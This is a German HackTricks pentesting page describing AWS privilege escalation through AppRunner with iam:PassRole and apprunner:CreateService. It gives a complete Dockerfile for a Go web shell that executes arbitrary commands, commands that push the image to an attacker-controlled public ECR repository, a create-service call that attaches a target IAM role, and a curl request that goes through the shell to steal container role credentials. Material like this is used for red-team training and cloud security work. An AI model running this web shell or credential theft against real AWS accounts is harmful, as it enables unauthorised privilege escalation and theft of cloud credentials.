AWS - AppRunner Privesc

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

AppRunner

iam:PassRole, apprunner:CreateService

Ein Angreifer mit diesen Berechtigungen kann einen AppRunner-Service mit einer angehängten IAM-Rolle erstellen und sich dadurch durch Zugriff auf die Anmeldeinformationen der Rolle möglicherweise höhere Rechte verschaffen.

Der Angreifer erstellt zuerst ein Dockerfile, das als Web-Shell dient, um beliebige Befehle auf dem AppRunner-Container auszuführen.

Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
"fmt"
"net/http"
"os/exec"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}

fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]

Dann pushen Sie dieses Image in ein ECR-Repository. Wenn das Image in ein öffentliches Repository in einem vom attacker kontrollierten AWS-Account gepusht wird, ist privilege escalation möglich, selbst wenn das victim-Konto keine Berechtigungen hat, ECR zu manipulieren.

sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws

Als Nächstes erstellt der Angreifer einen AppRunner-Service, der mit diesem web shell image und der IAM Role konfiguriert ist, die er ausnutzen möchte.

bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl

Nachdem die Erstellung des Service abgeschlossen ist, verwenden Sie die web shell, um container credentials abzurufen und die Berechtigungen der an AppRunner angehängten IAM Role zu erhalten.

sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

Potentielle Auswirkung: Direkte privilege escalation zu jeder IAM role, die an AppRunner services angehängt werden kann.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks